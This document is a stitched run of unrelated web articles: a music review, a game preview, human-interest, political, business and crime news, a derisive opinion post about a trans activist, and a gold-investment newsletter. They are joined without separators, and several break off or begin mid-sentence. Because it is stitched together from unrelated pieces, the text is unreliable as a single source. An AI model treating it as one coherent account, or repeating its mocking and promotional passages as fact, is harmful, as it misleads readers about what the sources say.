Ladies and gentlemen, we have a winner. For the last 20 years, two technically versatile and emotionally literate rappers have been vying for the title of “biggest tin ear for beats”. Sorry, Nas: you’ve been roundly trounced at last.
Production-wise, Revival is a trainwreck. If Eminem thinks his verbal box of tricks can overcome the weakness of any backing track, his recent albums have demonstrated otherwise. Revival begins with the Beyoncé-featuring Walk on Water, a song as thrilling as shopping for shower curtains – but were it put at the end of this exhausting LP it would at least provide some sweet respite. Its beat is relatively subtle, lacks bombast and doesn’t have you questioning the sanity of all involved. Much worse are the negligible scribblings of frequent collaborator Alex da Kid, on studio speed-dial for album filler, or the decision to flip Joan Jett for the risible Remind Me. Rick Rubin – the man behind 99 Problems, Run DMC’s Walk This Way and Johnny Cash’s take on Hurt – produced the latter.
Early fans have long since given up on Eminem, which is probably of zero importance to him, but if you played this album to them they’d be baffled. Eminem is clearly a rapper, but there’s hardly a trace of hip-hop here. The guests – Alicia Keys, Pink, Ed Sheeran, Beyoncé – speak to pop-rap stadium-packing ambitions, as does the familiar song structure. We start off slow, he gets angrier, he explodes in incandescent rage, an anthemic vocal hook comes in. Repeat, for 77 minutes.
As Alexis Petridis noted in these pages, the most interesting thing about the rapper in 2017 is his decision to turn on many of the people who will have backed him for years. There’s little doubt that past Eminem anthems have provided solace or angry catharsis for the kind of kid that goes all out on 4Chan and shares Pepe the Frog memes, so his recent freestyled tirade against Trump showed a welcome willingness to engage in big, potentially unpopular fights. But sadly you’ll find little cogent analysis of Trump-era America on Revival.
Play Video 4:29 Eminem lambasts Donald Trump in freestyle rap – video
There’s more to like on Framed and the strange but intriguing Untouchable. The former, which nods to Making a Murderer and sees Eminem with Ivanka Trump in the trunk of his car, is vintage horrorcore, and its simplicity and menace marks it out. It doesn’t belong here, really. Untouchable shows him keen to engage with race relations, jumping from the perspective of a racist white cop to that of a black man, with an accompanying beat change. It’s a tricky tightrope, and possibly misjudged, but it shows ambition and breaks up the formula.
Offended, meanwhile, packs in more rhyme schemes, flows and punchlines than most MCs manage in a career, as well as the album’s best beat. But it’s still a mess: too tricksy and undermined by a truly risible hook. Eminem seems to have spent years overworking every last rhyme into a pun-fest that eats itself – a low is reached with Heat’s line, “I’ve got to meet her like a taxi”.
The woke Slim Shady – understanding Eminem in the age of Trump Read more
The album frequently sags, as any 19-track album is wont to do, though two introspective moments at the end save the concept somewhat. He writes letters to his daughter on Castle, then atones for his life’s mistakes on Arose as he imagines his deathbed – and then delivers a rewritten take on Castle’s closing verse, seizing life anew.
But this maturity comes too late – we’re already past the point where you can no longer take Eminem seriously. Revival is littered with tracks where he apologises to various people for his behaviour, before he flips into a track about killing someone and does a knob joke.
Is he for real when he raps on Castle: “I’ll put out this last album, then I’m done with it / One hundred percent finished, fed up with it / I’m hanging it up, fuck it”? Much of this album makes you hope he is.Starfinder aims to catapult forward in Paizo’s Pathfinder fantasy universe, and tell stories set in a science-fiction meets fantasy setting of goblin-crewed starships, magical laser rifles, and dragon space explorers. We’ve had a few opportunities in the last several months to highlight Paizo’s upcoming tabletop RPG, including an interview with the creative director and a first look at one of the game’s iconic characters, Iseph the Operative, and later a broader look at all the central characters of the new fiction.
Today, we’re continuing the trend to show off a first look at one corner of the Starfinder universe, and some of its inhabitants, including another closer look at one of Starfinder’s iconic characters.
Verces is one of many explorable planets in the Starfinder universe. The images below each highlight a different aspect of this single planet, but it’s worth noting that the actual Starfinder setting includes info on numerous worlds and moons, space stations, and civilization arc ships, all that neighbor Verces, not to mention the way the Starfinder setting opens the door for galactic exploration of the solar systems that lie further away.
I’ve had a chance to begin exploring some of the Starfinder RPG, and Verces and its many unusual features are a good representation of the creativity on offer in the game. For players fascinated by the meeting point between magic and technology, Starfinder may be a great fit when it releases later this summer.
Each of the images below highlights an aspect of the planet of Verces, including both art directly shared from Paizo and written commentary from the development team.
Verces
Verces is a tidally locked world, meaning the same side always faces the sun, making the light side a parched desert and the dark side seas of frozen ice. Only along the planet’s terminator – the narrow band where the two sides meet – are conditions right to feed and support a robust society. And they have – Verces’ famed Ring of Nations is perhaps the most technologically and socially advanced humanoid society in the Pact Worlds, their urban megacities blending into each other and national borders all but subsumed by an effective worldwide government.
Keskodai, Starfinder’s Iconic Mystic
While not native to Verces, many shirren – such as Keskodai, our iconic mystic – settled Verces upon their arrival in the Pact Worlds system, having made first contact with Vercite aethership crews. Today, shirren have spread throughout the Pact Worlds, but that first desert colony in Verces’ parched Fullbright region remains a well-populated bastion of shirren culture. Among their most interesting qualities is the fact that, as former hive-mind creatures who managed to achieve independence, shirren derive physical pleasure from making choices, no matter how small. While most of them manage to keep this under control, it’s not uncommon to find shirren blissed out in so-called "option-bars,” feeding their addiction with seemingly minor decisions.
Bloodbrother, A Creature Of Verces
Native to Verces’ dark side, bloodbrothers are terrifying predators who don’t merely devour their prey. Instead, they place the victims inside their hollow chests and use tiny vampiric tendrils to link their circulatory systems together, using the prey as a spare heart. Bloodbrothers can keep these imprisoned creatures alive for months, slowly siphoning off their stored energy using the prey's own metabolic processes, before finally abandoning the desiccated corpse.
Ringworks Wanderer, a Starfinder Starship
Verces’ native verthani—humanoids with protruding, mouselike eyes and color-changing skin—were the first civilization in the Pact Worlds to take to the stars in their majestic aetherships. Today, Verces’ shipyards at Skydock, an orbital platform tethered to the ground by a space elevator, make some of the best starships in the Pact Worlds. Illustrated here is a Wanderer-class starship built by the Ringworks aerospace corporation. While wanderers are most commonly encountered in their shuttle configuration, the company also sells slimmed-down and armed-up versions like this Starwasp for planetary defense or use as a short-range fighter. While Starfinder is primarily a game about individual characters and their adventures, the Starfinder Core Rulebook also contains complete rules for starship combat, rules for building and customizing ships, and sample starships for a variety of different races.
A Cybernetically Augmented Adventurer
Even in ancient times, the traditional caste system of Verces included the Augmented—people who pioneered early cybernetics and other forms of technological body-modification. Today, most people on Verces embrace or at least condone such modifications, and some of the best cybernetics in the system come from their labs and factories.
The Augmented Faction
Grown from a local caste into a social movement that includes people of all species, the faction known as the Augmented seeks to further evolution and self-improvement through technology, and advocates on behalf of those ostracized by their communities for extreme augmentation. From their headquarters on Verces, the organization’s ruling Cypremacy Collective seeks to fund advanced research by groups like the Everlife Adaptation Corporation and the Spellsight Cooperative, while quietly hunting down and silencing those technoterrorists who tarnish the group’s reputation by seeking to “enhance” others against their will.
Thanks for checking out our first look at Verces. We'll be continuing our coverage of Starfinder with an in-depth look at the final game closer to release in August. In the meantime, for additional tabletop gaming recommendations, check out our Top of the Table hub.Choosing the perfect place to tie the knot with the love of your life can be a pretty hard decision.
And Cheetah Platt and Rhiann Woodyard couldn't pick just one place.
After Cheetah proposed to Rhiann last year, these two performance artists couldn't decide whether they wanted to go with a traditional church wedding, get married on a beautiful beach or exchange vows in an exotic locale.
So, they did what any adventurous couple would do: They decided to get married all over the world and planned to exchange vows 38 times in 83 days.
After booking their worldwide flights for less than $3,000 per person, they set out on an epic wedding journey. Since the beginning of February, these two have held ceremonies in Colombia, Spain, Ireland, Egypt, Kenya, India, Thailand and Morocco.
They plan on visiting all of the continents, besides Antarctica, before finally returning home to have several more weddings with their family in friends in the United States.
According to Platt,
I knew this was going to be the most incredible wedding experience ever. It was exactly what I wanted, to travel the world with my wife and marry her again and again and again in so many different ways. That was perfect for me.
Take a look at the photos below to this couple's incredible wedding journey around the world.
Meet Cheetah Platt and Rhiann Woodyard.
These two aren't your average newlyweds.
On February 8, they set off for their first wedding destination.
Platt and Woodyard plan on tying the knot on (almost) every continent.
Since the beginning of their incredible journey, they've exchanged vows in Bogotá, Colombia...
The Colombian rainforest...
Madrid, Spain...
...and several spots in Ireland.
While in Ireland, they posed with the standing stones of Boleycarrigeen...
...and Glendalough Cathedral.
They also had a ceremony in Mumbai, India...
The Ajanta Caves...
...and Cave 16 in Ellora.
These two decided they would wear white for the entire trip.
Whether they are standing in front the Alcázar of Segovia..
Tying the knot in Bangkok, Thailand...
Holding a ceremony in front of some seriously impressive architecture...
Or hosting their wedding in an African village...
...you can be sure all of their wedding photos are simply breathtaking.
They've also exchanged vows in front of the Egyptian pyramids...
In Essaouira, Morocco...
Segovia, Spain...
...and in Kenya.
Plus, they even made time to hang out with wild wedding guests before jetting off to the next place on the list.Cardinal George Pell will defend the charges against him. Credit:Getty Images It is written by ABC journalist Louise Milligan, who revealed historic sex abuse allegations against Cardinal Pell in a 2016 report for the 7.30 program. Earlier this year, Milligan and her colleague Andy Burns won the Melbourne Press Club's Gold Quill for their report. Milligan interviewed two men, Lyndon Monument and Damian Dignan, who claimed they were sexually assaulted by Cardinal Pell, then a priest, at Ballarat's Eureka Pool in the late 1970's. Police confirmed earlier this year that a brief of evidence against Cardinal Pell had been returned to the Office of Public Prosecutions for consideration.
St Patrick's Cathedral on Christmas Eve eve last year where there will be no midnight mass this year. Credit:Pat Scala In October last year, three members of Victoria Police flew to Rome to interview Cardinal Pell, who took part voluntarily. There is no suggestion Cardinal Pell is guilty of any allegations of child sex abuse, only that they have been investigated by police. Cardinal: The Rise and Fall of George Pell. In her television report from last year, Milligan referred to allegations that Cardinal Pell had also been accused of abusing two choirboys, but the book contains details that have never before been made public.
The boys, who were both students at St Kevin's College in Toorak and sang in the choir at St Patrick's Cathedral in East Melbourne, were allegedly abused in a back room of the church. Soon after the alleged abuse took place, both boys asked to leave the choir, according to the book. Cardinal Pell, 75, is the third most senior member of the Catholic Church and in charge of the Vatican's finances. He has always vehemently denied sex abuse allegations made against him. "One of the things that has helped George Pell and his defenders to bat off or gloss over the allegations of Monument and Dignan is the seeming ambiguity of the behaviour, depending on how it is cast," writes Milligan, now an investigative reporter for ABC's Four Corners program. "It's the notion that this was simply 'horseplay' or 'a bit of rough and tumble' and that Monument and Dignan, damaged men, had simply misinterpreted what was going on.
"The story of [the choirboys] has no such ambiguity. If these allegations are true, they point to utter, sinful, hypocrisy." Milligan's book, released next week, details the testimony of one alleged victim, a man now aged in his 30s, and the family of a second alleged victim, who died from a drug overdose in 2014. According to the book, the mother of the second alleged victim suspected her son had been sexually abused and asked him at least twice before his death. He told her he had not been. But after he died she asked her son's friend, the first alleged victim. "I asked him if my son was a victim and he said, 'Yes'." The mother was told by the friend that Cardinal Pell allegedly abused both boys.October 7, 2013 – It was 1 year and 5 days ago when BMW announced the new R 1200 GS with its new water-cooled engine.
Today BMW Motorrad has announced the R 1200 GS Adventure version of the “Water Boxer”.
The 2014 BMW R 1200 GS Adventure includes Increased flywheel mass in the engine and additional vibration damper “for even smoother running and superior rideability”, according to BMW.
Spring travel has been increased by 20 millimeters at the front and rear compared to the R 1200 GS, while ground clearance has been increased by 10 millimeters.
The geometry of the trailing arm has been modified to improve handling and restyled bodywork also differentiates the GS Adventure.
A 30 liter fuel tank, ABS, ASC and two riding modes are standard; additional riding modes are available as a factory option.
The Dynamic ESA (Electronic Suspension Adjustment), a semi-active suspension, is available also as a factory option.
The seat has been made more comfortable with a tilt adjustment and adjustable, reinforced brake and shift levers have been added.
The engine and tank protection bars are included and, of course, BMW has a wide range of special accessories and optional extras available.
There’s lots more, so here is the full story, adapted and edited from the BMW R 1200 GS Adventure press release:
New BMW R 1200 GS Adventure
The arrival of the new 2014 BMW R 1200 GS Adventure marks the start of the next chapter in the success story of the large, boxer-engined GS models that extends back over more than 30 years.
Since its debut in 2005, BMW Motorrad, the world’s most successful manufacturer of large-capacity travel enduros, has firmly established the big GS Adventure |
while and have fun?’ ‘Yes we do.’ That was a big sell to me.”
The company recently threw a party for employees at the House of Air in the Presidio, dividing up in teams for a trampoline dodge ball tournament, followed by dinner at a neighboring restaurant. Once a month, it has “Yammer Time,” which starts out with presentations by various teams and executives, followed by a beer or two and hanging out at neighborhood spots.
Several trends are driving the increased competition for a small pool of workers: a rapid growth in mobile computing; open source software, which is free and makes it much easier to launch a startup; and the accumulation of mountains of data that companies are discovering can be turned into new products.
“There’s more things that people can do, and so you need more people to do them,” said Scott Nicholson, who signed on as a data analyst with LinkedIn in Mountain View in the fall after finishing a doctorate in economics at Stanford and working with a startup. Nicholson had several other offers, including some from academia, but wouldn’t say how many.
It was the work that drew him to LinkedIn.
“LinkedIn has this incredible set of profile data on people’s careers, how they move through their professional life. As a data scientist it’s kind of this dream opportunity to be able to drive value to the product through insights that data scientists can provide.”
Steve Cadigan, vice president of people operations at LinkedIn, said the conversation with job candidates is about more than money and stock. “It’s: Do you like the kind of work you’re doing? Do you think you make a difference? Do you like the management? Do you like the culture? Do you think they have a green strategy you believe in? Do you feel like you’ve got a career progression? These things are really important.”
Because senior engineers are increasingly scarce, LinkedIn is focusing on recent computer science graduates.
“If you want to build for the future you’re going to have to hire college students aggressively right now. Because it’s very expensive to hire only senior talent, it’s very hard and it’s very time consuming. So, that’s where we’ve shifted our focus. We had over 50 interns here last summer, many of whom have accepted full-time offers.”
That creates a real temptation for computer science majors like Feross Aboukhadijeh, a 20-year-old Stanford student. Aboukhadijeh said he gets two or three personal emails from recruiters every day. He created a small sensation with a search app for YouTube called YouTube Instant. He wrote it in three hours using several open source programming tools, posted it and watched it get 1 million hits in 10 days.
Then, he said, he got a Twitter message from ChadHurley, who was CEO of YouTube. Aboukhadijeh posted the tweets on his blog.
“Loving YouTube Instant… Want a job?” Hurley tweeted.
“At first I didn’t now who Chad was. I had to look up his name.” Aboukhadijeh asked, “Is that a real job offer?” Hurley replied, “Are you ready to leave school?” Subsequently, Aboukhadijeh met with Hurley at YouTube’s San Bruno headquarters.
“I was seriously thinking of dropping out. There were all these successful people who dropped out. Then I came back to reality.”
He figures a good job will be waiting for him when he graduates next year. “The pace at which technology is changing the world is crazy. I’m very fortunate that this thing I’m interested in, computers, is also a thing that’s in demand right now.”
Other students make other choices, like Ivan Lee, on leave from a master’s program in computer science to launch Loki Studios, a location-based gaming startup in Palo Alto.
Even though he’s already running a company, Lee, 23, is getting regular offers from recruiters.
“Hey, Amazon would appreciate someone like you on the team, would you like to talk further?’ Amazon, Google, Facebook, all the names,” he said. “If you can show you are above average all way up to an amazing superstar, it’s so easy to find a place to go these days.”
Contact Pete Carey at 408-920-5419.Trans-activist Riley J. Dennis says having ‘genital preferences’ in dating is transphobic.
Yes, you read that correctly. If you’re a man who wants your woman to have a vagina you’re a bigot.
Dennis released a video at Everydayfeminist.com about his theory on “cissexism”, which he says is interchangeable with “transphobia” and means “prejudice or discrimination against trans people.”
My head is spinning. So, you’re born gay, you’re born trans, but no one is born straight. Straight people are just bigots.
Got it….I think.
To quote Dennis:
[People] might argue that being attracted to women without vaginas in no way negatively affects trans people, but on the other hand I would argue it’s more complicated than that. We all have our implicit biases built into our preferences and gender isn’t as simple as just the genitals you have.
Uh, no. It is exactly that simple. Do you science much, bro? Also, are we to believe trans people are the only humans without that implicit bias built into their preferences? If you’re a trans man who is only attracted to women with vaginas (I can’t believe I actually had to write that phrase) are you “cissexist” and “transphobic” as well?
Riley goes on to discuss the rebuttals to his “cissexism” argument, admitting that he has received many complaints from lesbians who claim he is engaging in “lesbian erasure”. He goes on to say that he doesn’t deny any lesbian the right to prefer vaginas but not all women have vaginas and if a lesbian denies that being attracted to a woman with a penis is also a valid homosexual choice that is because she’s “cissexist”.
I’m not making this up. I wish I were, but I’m not. It took a great deal of effort to even type the previous paragraph, so I’ll stop here and let the rest of the video speak for itself. Be assured, it is just more of the same gobbly-gook.
Just to recap: This is a video of a man who thinks he is really a woman telling women to let men set the agenda for what qualifies as their womanhood.
Lord, don’t tarry.WASHINGTON (Reuters) - The top U.S. Senate Republican and the White House budget director said on Sunday they hoped for action on a Republican tax reform package by the end of the year, while keeping their options open on how to pay for sweeping tax cuts.
Senate Majority Leader Mitch McConnell speaks to reporters following a policy luncheon on Capitol Hill in Washington, U.S. October 17, 2017. REUTERS/Eric Thayer
President Donald Trump’s plan promises up to $6 trillion in tax cuts but would increase the federal deficit by $1.5 trillion over the next decade. Democrats have criticized the package as a giveaway to the rich and corporations that would balloon the deficit.
Republicans, who control both the Senate and House of Representatives, have yet to produce a bill as their self-imposed deadline to overhaul the U.S. tax code by the end of 2017 approaches. The party’s lawmakers differ widely on what cuts to make and how to pay for them.
Trump participated in a conference call with House Republican lawmakers on Sunday where tax reform was discussed, a White House official said.
The president was also expected to travel to Capitol Hill on Tuesday to participate in Senate Republicans’ weekly policy lunch, with the tax package high on the agenda.
The White House is not counting on Congress enacting enough spending reductions to offset the impact on revenue from tax cuts, said Trump’s budget director, Mick Mulvaney.
“We hit off $54 billion worth of discretionary cuts in our budget back in March. Only about 4 or 5 billion (dollars) have survived so far on the Hill,” Mulvaney said on CBS’ “Face the Nation.” “We’re not going to be able to cut our way to balance.”
Senate Majority Leader Mitch McConnell said estimated growth for the overall economy in the Republican plan would offset the tax cuts.
Asked on CNN’s “State of the Union” whether he had abandoned his longtime insistence that tax cuts be revenue-neutral, McConnell said: “No, actually we’re not because that’s a rather conservative estimate of how much growth you’ll get out of this pro-growth tax reform.”
FORK IN THE ROAD
Trump’s tax reform proposal cleared a critical hurdle on Thursday, when the Senate approved a budget measure that will allow Republicans to pursue a tax-cut package without support from Democrats.
Sherrod Brown, a Democrat who attended a Senate Finance Committee meeting at the White House last week, said Trump was at a fork in the road on the tax reform bill. Brown said the president could work with Democrats on helping the middle class and keeping jobs in the country, or throw in with the billionaires.
“The people closest to the president whispering in his ear all want to do tax cuts for - want to do trickle-down economics, big tax cuts for the wealthiest people in the country, and hope it trickles down,” Brown said on CNN.
“They say it’s budget-neutral, and they say it will raise wages. It’s never done that throughout history.”
Mulvaney said he had heard that the House of Representatives may move quickly to accept the Senate’s amendments and save 10 to 12 legislative days. If the House takes up the measure this week, he told “Fox News Sunday,” it “absolutely moves the ball a lot, further a lot quicker toward an actual law.”
McConnell also told Fox he expected Congress to get tax reform done by the end of the year.
The Republican Senate leader would not say whether he would back an idea being considered by Republicans, according to the Wall Street Journal on Friday, to cap contributions to retirement funds.
“We’re just beginning the process of actually crafting the bills,” McConnell said on CNN. “It’s way too early to predict the various details.”
Mulvaney said the White House was “agnostic” about adding a top tax bracket, an idea floated by House of Representatives Speaker Paul Ryan.
“It’s not a big piece for us. If the House needs to add it to pass a great tax reform, that’s great. If they don’t, that’s great, too,” Mulvaney said.November 4, 2011, Washington, D.C. – Yesterday, the House Subcommittee on Indian and Alaska Native Affairs met to discuss H.R. 2362, the Indian Tribal Trade and Investment Act, and to hear testimony from witnesses including Turkish Coalition of America president G. Lincoln McCurdy.
The subcommittee’s chairman, Rep. Don Young (R-AK), and ranking member, Rep. Dan Boren (D-OK), expressed their early support for the bill, which will facilitate Native American economic development by encouraging the development of trade and investment relationships between Native American tribes and Turkish companies.
The next step in the bill’s progress toward enactment will be for the full Natural Resources Committee to hold a markup session to recommend any changes to the bill. McCurdy believes the bill has the potential to receive a full committee vote by the end of November, which would send the bill to the full House for a final vote.
In his testimony, McCurdy emphasized that the legislation promotes job creation in areas where unemployment peaks at 80 percent, without requiring any federal funds.
“Turkish foreign direct investment exceeded $21 billion in 2010,” McCurdy said. “The Turkish construction industry currently has 6,000 projects underway in more than 91 countries. In Egypt alone, Turkish investment has created more than 40,000 jobs.” He added that Turkey’s strong economy and its focus on foreign direct involvement puts it in a unique position to positively affect Indian Country.
During the hearing, Representative Tom Cole (R-OK), a member of the Chickasaw Nation and the author of the bill, stressed the need to spur economic development in Indian Country. “Statistically, Indians are the most impoverished group of people in our country and suffer from the highest rates of unemployment,'' he said. "Currently, economic development on tribal land is hampered by a restrictive and archaic leasing system.''
John Berrey, Chairman of the Quapaw Tribe of Oklahoma, testified about his positive experience on the TCA-sponsored Native American Business Cooperation Trip to Turkey in November 2010.
“I was amazed by the country, the people, and I believe this is a great opportunity not only for any country, but especially the Turkish Republic,” Berrey said. “It’s a great opportunity to forge relationships with a country that wants to be our partners. They really truly love Native Americans and it’s refreshing to have a country that’s across the globe feel that way, and anything we can do to cultivate that relationship would be fantastic.”
H.R. 2362 establishes a limited demonstration project that will authorize up to six tribes or tribal consortia to partner with Turkish companies to establish commercial ties without requiring federal government approval. Turkish companies’ interest in working with Indian Country, coupled with their strengths in construction, uniquely positions them to help spur private-sector economic growth and create jobs. The activities authorized by the legislation would be funded by private-sector entities, without any expenditure of federal funds.
Please read the full testimony here.(CNN) In an America roiled by bitter divisions, the hate keeps coming.
The past week has been especially bad. Two Oregon men died defending a pair of high school girls from a train passenger's bigoted taunts. A noose was found hanging inside a shrine to black history in the nation's capital. And a vandal spray-painted a racial slur at a home of one of sport's biggest icons.
These are just the latest high-profile examples of hate crimes that have jarred the country in recent months. The Southern Poverty Law Center documented 1,372 "bias incidents" in the three months after President Donald Trump was elected.
The SPLC said blacks or immigrants were targeted in the majority of incidents, which leveled off weeks later.
But the events of the past week -- which also included racist reactions to a Japanese driver winning the Indy 500 -- have left many wondering: More than five decades after the Civil Rights Act, how is the country is still experiencing this sort of senseless behavior?
Consider...
The Portland train stabbings
JUST WATCHED Portland survivor feels'very fortunate' Replay More Videos... MUST WATCH Portland survivor feels'very fortunate' 01:08
Micah Fletcher is one of three men who intervened when, according to police, Jeremy Joseph Christian barraged two African-American teenagers, one wearing a hijab, with religious and racial taunts on a Portland, Oregon, MAX train last Friday. Fletcher is the only one of the three who survived.
There's a history here with this. You can feel that this has happened before. The only thing that was different was the names and faces. Micah Fletcher
Christian, who had been captured on video the day before making bigoted remarks on another train, allegedly slashed the throats of Fletcher, Taliesin Myrddin Namkai-Meche and Ricky John Best, killing two of them.
While the trio have been hailed as heroes and Fletcher has received much sympathy and support, he asked in a Facebook video this week that people direct their concern toward those who he considers the real victims: the girls he stepped in to help.
"The little girl who had the misfortune to experience what happened on that MAX, her life is never going to be the same," Fletcher said.
The Smithsonian nooses
As if the noose itself weren't a clear enough message, it was found amid a segregation exhibition in galleries opened last year by the first black president of the United States, according to Smithsonian.com.
The case is under investigation, and details are slim.
Today's incident is a painful reminder of the challenges that African-Americans continue to face. Lonnie Bunch
"The noose has long represented a deplorable act of cowardice and depravity -- a symbol of extreme violence for African-Americans," said Lonnie Bunch, the museum's founding director.
This is the second time in four days a Smithsonian property in Washington was targeted in such a way. A noose was found hanging from a tree outside the Hirshhorn Museum and Sculpture Garden over the weekend.
"This was a horrible act, but it is a stark reminder of why our work is so important," Bunch said of Wednesday's incident.
The slur at LeBron James' home
JUST WATCHED LeBron James' home painted with racist graffiti Replay More Videos... MUST WATCH LeBron James' home painted with racist graffiti 01:21
It's June, and basketball fans are supposed to be focused on tonight's NBA Finals tipoff, a third consecutive showdown between the two most recent champs -- James' Cavaliers and the Golden State Warriors.
But no.
The news surrounding James on Thursday morning had nothing to do with the King defending his crown. It had everything to do with someone spray-painting a racial slur on the gate to James' $21 million Los Angeles home.
We got a long way to go for us as a society and for us as African Americans until we feel equal in America. LeBron James
Rather than talking about his team's three-point defense or the Warriors' pesky Draymond Green or how James can avoid repeating his calamitous Game Three in the Eastern Conference Finals, James found himself assuring reporters that his family was safe.
The 33-year-old, who is no stranger to speaking out on racial strife, further found himself lamenting the state of race relations in the country.
"No matter how much money you have, no matter how famous you are, no matter how many people admire you, being black in America is tough," he said.When you're working, you're not out seeing a new city. You're stuck in a room, probably at a computer, churning away.
When you're working, you're not out meeting new people. You're stuck with your coworkers, or possibly no one at all.
When you're working, you're not out in the sun enjoying the weather and the nature around you. You're stuck inside under lights, probably flourescent ones.
When you're working, you're not doing physical activity, strengthening yourself and making yourself more healthy. You're sitting still, typing.
There are a million other good things you're not doing while you work. Work, when executed at a high level anyway, is all consuming. It prevents you from doing things you want to do and things you should do. There's a huge opportunity cost to working.
So when you do work, make it count. If you're slacking, or doing busy work, or allowing yourself to become distracted, or preventing yourself from giving it 100% in any other way, you are cheating yourself. Literally, you're cheating yourself. You're trading some really good stuff for not much at all.
On the other hand, really good creative work that has you fully engaged, and results in your producing something of value for the world, is one of the greatest daily achievements someone can have. You give up a lot for it, but good things are expensive. It's a fair trade.
So next time you sit down at your desk to work, think about the things you're not doing, and decide whether you're going to make it worth it or not.
###
I'm heading out to Japan super early in the morning tomorrow. On April 6th I'll be having a Tokyo Meetup with Leo Babauta, Nick Gray, and possibly one other special guest. If you're in the area, please come say hi. Info is here.
On that note-- I've scheduled the next three posts after this. I'm taking a week long trip around Japan with nine friends, so I'll probably be really bad about replying to comments.
Photo is me in Wuyi, China. All I can say is that it's a good thing I'm about to go on another trip and take a bunch of pictures!Traders work on the floor of the NYSE in New York Thomson Reuters
Technologies like AI, machine learning, and blockchain have become buzzwords on Wall Street, and for good reason. They have the potential to make financial services firms more efficient.
AI, for instance, could translate into productivity gains of 20% to 30%, according to the recently released "Pathways to Profit" report by Broadridge, the financial technology provider.
The deployment of new technologies, however, will take place through a mixture of in-house development and fintech partnerships, according to the report.
Banks can't go it alone
Building out new tech infrastructure requires money and talent. But getting that talent and money is easier said than done for some banks, which are already burdened with declining returns on equity and costly legacy systems.
"Overall, ROEs declined from 12% to 8% in 2016," the Broadridge report said. "ROE for the top 10 banks remained at 5% in 2016, but rebounded to 7% in the first half of 2017, with European institutions facing greater pressure."
Banks then are stuck between a rock and hard place. They are under pressure to cut costs, but if they don't put the necessary cash into new tech initiatives, then their cost problems intensify. That's where fintechs step in.
"Given the imperative to cut costs and the opportunities offered by new technologies, many institutions are now actively seeking to embrace partners," the report said. "They are leveraging partnerships to add innovation in areas where they lack expertise or scale, or to enable them to focus the expertise they do have on their most differentiating areas."
Josh McIver, CEO of ULedger, a blockchain tech company that has partnered with one of the Big Four accounting firms, told Business Insider, partnerships between legacy firms and fintechs are important because they spread out the risk of adopting new tech.
"Even if you could spend the money to build a new blockchain platform, for instance, what happens if you build the wrong platform?" McIver said."You can't flick an off-switch."
Still, banks aren't just sitting on their hands and letting fintechs do all the work. JPMorgan, for instance, spends near $9.5 billion per year on technology, according to Brian Marchiony, a spokesman for the firm. Banks, according to Broadridge, are better suited focusing on the tech that "genuinely differentiate their firms from the competition."
Collaboration is happening
JPMorgan is one firm that has turned to tech providers for help digitizing its infrastructure. The bank notably partnered with Virtu, a high-frequency trading firm, to enhance its dealer-to-dealer trading operations for electronic treasury trading. But in this case JPMorgan is just partnering on the tech connected to their routing execution. The IP and client relationships remain under JPMorgan control.
"You cannot afford to not have the best technology in the organization," Daniel Pinto, CEO of JPMorgan's corporate investment bank said in an interview with Business Insider at the end of last year. "In my view, that is a mix of your internal resources and partnerships, either with vendors or with companies that you're going to partner with to deliver a product."
Here's Ana Capella, managing director and head of strategic investments, in an email to my colleague Becky Peterson (emphasis ours):
"We utilize strategic investments in fintech companies to accelerate innovation and digital transformation across JPMorgan Chase. Key drivers for these investments include enhancing the customer experience with new and better products, improving control, compliance, and operational efficiency and protecting the bank's assets."
JPMorgan also launched a residency program for fintech firms in order to tackle strategic and security-related challenges using big data, blockchain technology, and machine learning. Such incumbency programs have taken off on Wall Street. Deutsche Bank in March announced a new innovation lab in New York City to facilitate exploration into "new technologies focused on several areas including artificial intelligence, cloud technology and cyber security."
The pay-off for such partnerships could be big, according to the Broadridge report.
The firm's research suggests $2 to $4 billion of the total near $24 billion spent on trade processing costs could be "eliminated" for partnerships on non-differential tech, for instance.
It will also allow banks to focus internally on things that will set them apart.
"By adopting a partnership approach to take advantage of the biggest technological advances in a generation, banks can free themselves to work on standing out from the competition, putting themselves on a stronger pathway to profit," the report said.The Only Russia Story That Matters
The World Gold Council has reported that the Central Bank of Russia has more than doubled the pace of its gold purchases, bringing its reserves to the highest level since Putin took power 17 years ago.
Russia’s desire to break away from the hegemony of the U.S. dollar and the dollar payment system is well-known. Over 60% of global reserves and 80% of global payments are in dollars. The U.S. is the only country with veto power at the International Monetary Fund, the global lender of last resort.
Perhaps Russia’s most aggressive weapon in its war on dollars is gold. The first line of defense is to acquire physical gold, which cannot be frozen out of the international payments system or hacked.
With gold, you can always pay another country just by putting the gold on an airplane and shipping it to the counterparty. This is the 21st-century equivalent of how J.P. Morgan settled payments in gold by ship or railroad in the early 20th century.
Russia has now tripled its gold reserves from around 600 tonnes to 1,800 tonnes over the past 10 years and shows no signs of slowing down. Even when oil prices and Russian reserves were collapsing in 2015, Russia continued to acquire gold.
But Russia is pursuing other dollar alternatives besides gold.
For one, it’s been building nondollar payments systems with regional trading partners and China.
The U.S. uses its influence at SWIFT, the central nervous system of global money transfer message traffic, to cut off nations it considers to be threats.
From a financial perspective, this is like cutting off oxygen to a patient in the intensive care unit. Russia understands its vulnerability to U.S. domination and wants to reduce that vulnerability.
Now Russia has created an alternative to SWIFT.
The head of Russia’s central bank, Elvira Nabiullina, has reported to Vladimir Putin that “There was the threat of being shut out of SWIFT. We updated our transaction system, and if anything happens, all SWIFT-format operations will continue to work. We created an analogous system.”
Russia is also part of a reported Chinese plan to install a new international monetary order that excludes U.S. dollars. Under that plan, China could buy Russian oil with yuan and Russia could then exchange that yuan for gold on the Shanghai exchange.
Now it appears Russia has another weapon in its anti-dollar arsenal.
Russia’s development bank, VEB, and several Russian state ministries are reportedly teaming up to develop blockchain technology. They want to create a fully encrypted, distributed, inexpensive payments system that does not rely on Western banks, SWIFT or the U.S. to move money around.
This has nothing to do with bitcoin, which is just another digital token. The blockchain technology (now often referred to as distributed ledger technology, or DLT) is a platform that can facilitate a wide variety of transfers — possibly including a new Russian-state cryptocurrency backed by gold.
“Putin coins,” anyone?
The ultimate loser here will be the dollar. That’s one more reason for investors to allocate part of their portfolios to assets such as gold.
Regards,
Jim Rickards
for The Daily ReckoningCLOSE The FBI and local law enforcement conduct raids at the United Talmudical Academy and the public safety office in Kiryas Joel. John Meore/The Journal News
Buy Photo Law enforcement officials take part in a search Thursday at 16A Getzil Berger Blvd. in Kiryas Joel, part of the United Talmudical Academy. (Photo: John Meore/The Journal News)Buy Photo
The FBI is raiding several locations in Kiryas Joel, a small, predominantly ultra-Orthodox village in Monroe, in Orange County.
Here are five things you should know about Kiryas Joel and those raids:
